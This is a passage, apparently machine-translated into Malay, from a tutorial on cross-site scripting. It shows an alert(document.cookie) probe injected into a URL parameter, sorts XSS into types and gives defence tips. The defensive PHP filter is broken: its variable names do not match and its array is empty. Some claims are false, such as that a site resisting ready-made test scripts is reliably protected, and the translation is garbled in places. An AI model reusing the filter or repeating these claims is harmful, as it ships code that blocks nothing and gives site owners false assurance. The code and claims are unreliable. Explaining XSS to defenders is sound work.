    Jika pemberitahuan muncul pada skrin anda, ini bermakna anda telah menemui kecacatan keselamatan. Jika tidak, sistem akan memaparkan halaman hasil carian kepada anda. CMS popular utama telah lama bebas daripada masalah sedemikian, tetapi disebabkan kemungkinan mengembangkan fungsi melalui modul dan pemalam yang dicipta oleh pembangun pihak ketiga, peluang untuk mengeksploitasi kelemahan XSS meningkat dengan ketara, terutamanya dalam Joomla, DLE, Bitrix, Wordpress. Selalunya, kelemahan XSS didaftar masuk pelayar internet Penjelajah.

    Satu lagi varian yang mungkin carian - menggunakan halaman yang memproses permintaan GET. Katakan kami mempunyai pautan seperti: http://site.ru/catalog?p=8

    Dalam bar alamat, bukannya pengecam (8), kami menambah skrip - ">alert("cookie: "+document.cookie), hasilnya kami mendapat pautan seperti ini: http://site.ru/ catalog?p= ">alert(" cookie: "+document.cookie) .

    Jika halaman mempunyai kelemahan XSS, pemberitahuan jenis yang sama seperti dalam kes pertama akan muncul pada skrin.

    Terdapat sejumlah besar skrip dan pertanyaan siap sedia untuk mencari "lubang" di tapak web, dan jika tiada satu pun daripadanya sesuai, maka sumber itu dilindungi dengan pasti daripada serangan sedemikian.

    Klasifikasi umum XSS

    Tiada klasifikasi yang jelas untuk skrip merentas tapak, tetapi pakar di seluruh dunia telah mengenal pasti tiga jenis utama.

    XSS disimpan (berterusan) . Salah satu yang paling jenis berbahaya kelemahan, kerana ia membenarkan penyerang mendapat akses kepada pelayan dan menguruskan kod hasad daripadanya (alih keluar, ubah suai). Setiap kali anda mengakses tapak, kod pramuat dilaksanakan yang berfungsi secara automatik. Selalunya, forum, portal dan blog, di mana terdapat keupayaan untuk mengulas dalam HTML tanpa sekatan, terdedah kepada kelemahan tersebut. Skrip berniat jahat boleh dibenamkan dengan mudah dalam teks mahupun dalam gambar dan lukisan.

    XSS yang dicerminkan (tidak berterusan) . Dalam kes ini, rentetan berniat jahat bertindak sebagai permintaan daripada mangsa kepada tapak web yang dijangkiti. Prinsip ini berfungsi mengikut skema berikut:

  • Penyerang mencipta pautan URL terlebih dahulu yang akan mengandungi kod hasad dan menghantarnya kepada mangsanya.
  • Dia memajukan permintaan URL ini ke tapak (mengikut pautan).
  • Tapak ini secara automatik mengambil data daripada rentetan berniat jahat dan menggantikannya dalam bentuk respons URL yang diubah suai untuk mangsa.
  • Akibatnya, skrip berniat jahat dilaksanakan dalam penyemak imbas mangsa, yang terkandung dalam respons, dan penyerang menerima semua kuki pengguna ini.
  • model DOM. Pilihan ini membenarkan penggunaan XSS yang disimpan dan dicerminkan. Intinya adalah ini:

  • Penyerang mencipta URL yang mengandungi kod hasad terlebih dahulu dan menghantarnya melalui e-mel atau sebarang kaedah lain kepada pengguna.
  • Seseorang mengklik pada pautan ini, tapak yang dijangkiti menerima permintaan itu, tidak termasuk rentetan berniat jahat.
  • Skrip dilaksanakan pada halaman pengguna, akibatnya skrip berniat jahat dimuatkan dan penyerang menerima kuki.
  • Jenis XSS mengikut kaedah interaksi

    Memandangkan matlamat utama penyerang adalah untuk menjalankan skrip berniat jahat pada komputer mangsa, terdapat juga dua jenis utama serangan XSS berdasarkan kaedah interaksi.

    pasif. Tindakan khusus diperlukan daripada mangsa untuk memanggil pengendali acara dan menjalankan skrip berniat jahat dalam bentuk yang dimaksudkan. Untuk tujuan ini ia digunakan Kejuruteraan sosial, seperti menghantar e-mel yang menggalakkan anda mengikuti pautan dan klik pada kawasan tertentu di tapak. Sebaik sahaja pengguna menunjuk ke objek yang dikehendaki dan mengklik padanya, skrip berniat jahat akan dilancarkan. Jika mangsa tidak aktif, kod tidak akan diaktifkan.

    Aktif. Penyerang tidak perlu menarik mangsa menggunakan pautan khas, kerana kod itu dibenamkan dalam pangkalan data atau beberapa yang lain. fail boleh laku pada pelayan. Tiada aktiviti pengguna diperlukan. Borang input, sebagai peraturan, mempunyai pengendali acara khas yang dipasang yang diaktifkan secara automatik apabila anda mendarat di halaman ini. Akibatnya, semua pengguna yang mengikuti pautan ini akan menjadi mangsa penyerang.

    Cara menyemak tapak web anda untuk mencari kelemahan XSS dan melindunginya

    Untuk semak cepat tapak untuk kelemahan XSS, anda boleh gunakan perkhidmatan khusus, yang akan mengimbas halaman secara automatik. Adalah penting untuk menyemak semua URL di mana pengguna boleh menyerahkan data (borang ulasan, maklum balas, carian). Anda boleh menggunakan http://xss-scanner.com sebagai contoh, tetapi anda tidak seharusnya mengehadkan diri anda kepada hanya satu alat.

    Perkhidmatan sedemikian tidak memberikan jaminan kejayaan yang lengkap, jadi kami mengesyorkan agar anda menyemak halaman yang ditemui mod manual dan pastikan anda mengecualikan semua watak khas yang berbahaya, menggantikannya dengan yang selamat. Ia mengenai kurungan< и >, di mana semua pertanyaan html dan teg yang dikhaskan oleh bahasa ditulis.

    Contohnya, untuk penapisan cepat dan penggantian automatik watak istimewa< и >anda boleh menggunakan kod berikut di tapak:

    $penapis = array("");

    $_GET["q"]=str_replace($filter, "|", $_GET["q"]).

    Beberapa petua untuk menghalang XSS di tapak anda:

  • Jika tapak anda mendayakan input pengguna, pengekodan mesti berlaku.
  • Jika pengekodan tidak mungkin atau sesuai dalam sesetengah situasi, gantikannya atau tambahkannya dengan pengesahan.
  • Pemprosesan data yang selamat mesti dilakukan dalam kod bukan sahaja di sisi pelayan web anda, tetapi juga di sisi pengguna (klien).
  • Jika anda menggunakan CMS yang popular, contohnya Wordpress, Bitrix, Joomla, kerap mengemas kini versi enjin dan semua modul yang dipasang dan pemalam. Secara lalai, kebanyakan sistem pengurusan tapak web yang paling biasa dilindungi daripada penggunaan XSS, tetapi pemalam pihak ketiga daripada sumber yang tidak disahkan mungkin mengandungi kelemahan.